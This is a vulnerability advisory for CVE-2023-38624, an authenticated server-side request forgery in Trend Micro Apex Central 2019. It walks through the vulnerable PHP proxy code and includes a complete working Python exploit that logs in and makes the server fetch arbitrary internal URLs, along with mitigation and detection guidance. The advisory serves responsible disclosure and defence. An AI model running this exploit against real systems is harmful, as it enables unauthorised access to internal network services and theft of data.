Summary:

Product Trend Micro Apex Central 2019
Vendor Trend Micro
Severity High
Affected Versions Apex Central 2019 Build <= 6394
Tested Version(s) Apex Central 2019 Build 6394
CVE Identifier CVE-2023-38624
CVE Description Missing input validation in Apex Central 2019 Build 6394 and below uses user-supplied values to perform a server-side request in a function in modTMSL. This results in a SSRF vulnerability whereby an attacker can force the server to make arbitrary requests to any URL or endpoints, including those on the local network, in order to exfiltrate sensitive information that are normally not accessible to the public.
CWE Classification(s) CWE-918: Server-Side Request Forgery (SSRF)
CAPEC Classification(s) CAPEC-664: Server Side Request Forgery

CVSS3.1 Scoring System:

Base Score: 9.1 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Changed
Confidentiality (C) High
Integrity (I) Low
Availability (A) Low

Product Overview:

Trend Micro Apex Central™ is a web-based console that provides centralized management for Trend Micro products and services at the gateway, mail server, file server, and corporate desktop levels. Administrators can use the policy management feature to configure and deploy product settings to managed products and endpoints. The Apex Central web-based management console provides a single monitoring point for antivirus and content security products and services throughout the network.

Apex Central enables system administrators to monitor and report on activities such as infections, security violations, or virus/malware entry points. System administrators can download and deploy components, such as antivirus pattern files, scan engines, and antispam rules, throughout the network to ensure up-to-date protection. Apex Central allows both manual and pre-scheduled updates, and allows the configuration and administration of products as groups or as individuals for added flexibility. An authenticated attacker can use the vulnerability to execute arbitrary code on the target Trend Micro Apex Central instance. As the attack is targeted against the Trend Micro Apex Central instance, the attacker can gain access to other resources via lateral movements.

Vulnerability Summary:

It was discovered that at the modTMSL module endpoint, a Server-side Request Forgery (SSRF) vulnerability exists. This allows an authenticated user of any role to pivot into and interact with services running in the local network, possibly allowing an attacker to exfiltrate sensitive information.

Vulnerability Details:

The following code is executed each time a request is made to the modTMSL proxy file via https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modTMSL&api=EVENT_FILTER_STRINGS:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMSL/Proxy.php

public function proxy_exec()
{
    // ...
    } else if( $this->cgiArgs["api"] ) {
        $this->widget_api(); // [1]
    }
}

private function widget_api() 
{
    switch($this->cgiArgs["api"]) {
        case 'EVENT_FILTER_STRINGS':
            $url = $this->get_server_path() . '/UI/l10n/l10n.event_filter.js'; // [2]
            $this->httpObj->setURL($url);
            $this->httpObj->setMethod_GET();
            if ($this->httpObj->Send() == FALSE) {
                // ...
            }
            $this->output = $this->httpObj->getBody();
            break;
        // ...
    }
}

private function get_server_path()
{
    return $this->serverInfo['protocol'] . "://" . $this->serverInfo['host'] . ":" . $this->serverInfo['port']; // [3]
}

Whenever a module’s proxy file is loaded, it will invoke the proxy_exec() function.

At [1], the code enters the else-if block if the api HTTP request parameter is set. The function widget_api() is then invoked and by setting the api request parameter value to “EVENT_FILTER_STRINGS”, the switch case is entered.

Inside the widget_api() function and at [2], the PHP variable $url is initialized to the return value of get_server_path() function, concatenated with a hard-coded path to a JavaScript file.

Subsequently within the get_server_path() function and at [3], it is revealed that the return value is user-controlled as $this->serverInfo['protocol'], $this->serverInfo['host'], $this->serverInfo['port'] are obtained from the HTTP request parameters as well:

// /Control Manager/WebUI/WebApp/widget/inc/class/proxy/BaseProxy.abstract.php

abstract class ABaseProxy
{
    public function __construct($args, $dbconfig){
        // ...
        else if (isset($args["ApplyToServer"]))
        {
            $this->set_server_info_task(); // [4]
        }
    }

    // ...

    protected function set_server_info_task()
    {
        // server information
        $this->serverInfo['host'] = $this->cgiArgs["TargetServerIP"]; // [5]
        $this->serverInfo['port'] = $this->cgiArgs["TargetPort"];
        $this->serverInfo['protocol'] = $this->cgiArgs["TargetProtocol"];
        $this->serverInfo['proxy_enable'] = $this->cgiArgs["ApplyProxy"];
        $this->serverInfo['password'] = $this->cgiArgs["Password"];
        $this->serverInfo['username'] = $this->cgiArgs["ID"];
        $this->serverInfo['customFields'] = $this->cgiArgs["Others"];
        // proxy information
        $this->proxyInfo['host'] = $this->cgiArgs["ProxyServer"];
        $this->proxyInfo['port'] = $this->cgiArgs["ProxyPort"];
        $this->proxyInfo['auth'] = $this->cgiArgs["ProxyNeedAuth"];
        $this->proxyInfo['username'] = $this->cgiArgs["ProxyUserID"];
        $this->proxyInfo['password'] = $this->cgiArgs["ProxyPassword"];
        $this->proxyInfo['type'] = $this->cgiArgs["ProxyType"];
    }

At [4], if a HTTP request parameter ApplyToServer is defined, then additional HTTP parameters can be specified to overwrite various values in $this->serverInfo[] array as seen from [5].

Execution then returns to the modTMSL Proxy file:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMSL/Proxy.php

private function widget_api() 
{
    switch($this->cgiArgs["api"]) {
        case 'EVENT_FILTER_STRINGS':
            $url = $this->get_server_path() . '/UI/l10n/l10n.event_filter.js'; // [6]
            $this->httpObj->setURL($url);
            $this->httpObj->setMethod_GET();
            if ($this->httpObj->Send() == FALSE) { // [7]
                // ...
            }
            $this->output = $this->httpObj->getBody(); // [8]
            break;
        // ...
    }
}

public function proxy_output()
{
    echo $this->output; // [9]
}

At [6], since user-controlled values from the HTTP request (TargetProtocol, TargetServerIP, TargetPort) are used to determined the value of $url, the appended string can be ignored by terminating the user-controlled input with ?a=, converting it into a query string instead. (e.g. https://example.com?a=/UI/l10n/l10n.event_filter.js).

At [7], the GET request is made by the server to the destination URL, and if the response code is 200, the execution continues at [8] where the response body is saved in $this->output.

Finally, at [9], the response body is sent as a response to the original request made by the attacker.

Exploit Conditions:

This vulnerability can be exploited by having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this SSRF vulnerability:

# Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38624)
# Via: https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modTMSL&api=EVENT_FILTER_STRINGS
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import random
import re
import requests
import string
import sys
from urllib.parse import urlparse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, ssrf_target

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38624) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD SSRF_TARGET_DOMAIN".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    ssrf_target = urlparse(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def ssrf():
    print("[+] Performing SSRF...")
    payload = f"{ssrf_target.netloc}{ssrf_target.path}"
    random_param = "".join(random.choices(string.ascii_letters + string.digits, k=12))
    if ssrf_target.query:
        payload += f"?{ssrf_target.query}&{random_param}="
    else:
        payload += f"?{random_param}="
    
    res = s.get(f"{target}/webapp/widget/proxy_controller.php?module=modTMSL&api=EVENT_FILTER_STRINGS&ApplyToServer=a&TargetProtocol={ssrf_target.scheme}&TargetServerIP={payload}", verify=False)
    if "{\"errcode\":\"421\"}" in res.text:
        print("[!] SSRF target not accessible! Check if there's a typo.")
        sys.exit(1)
    else:
        print("[+] SSRF successful! Partial HTML of SSRF target:\n")
        print(res.text[:500]+"\n")
        with open(f"ssrf_target_output_{ssrf_target.netloc}.html", "w") as f:
            f.write(res.text)
        print(f"[+] Full HTML written to 'ssrf_target_output_{ssrf_target.netloc}.html'!")

def main():
    check_args()
    authenticate()
    ssrf()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Apex Central installation to the latest version as shown in Trend Micro’s Download Center.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /webapp/widget/proxy_controller.php?module=modTMSL&api=EVENT_FILTER_STRINGS and manually verify if TargetProtocol, TargetServerIP or TargetPort contain suspicious records (e.g. fuzzing, service discovery), and if ApplyToServer is defined.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-12-14 Reported Vulnerability to Vendor via ZDI
  • 2023-02-22 Triaged and Reported by ZDI
  • 2023-07-03 Patch Released by Vendor
  • 2023-08-22 Public Release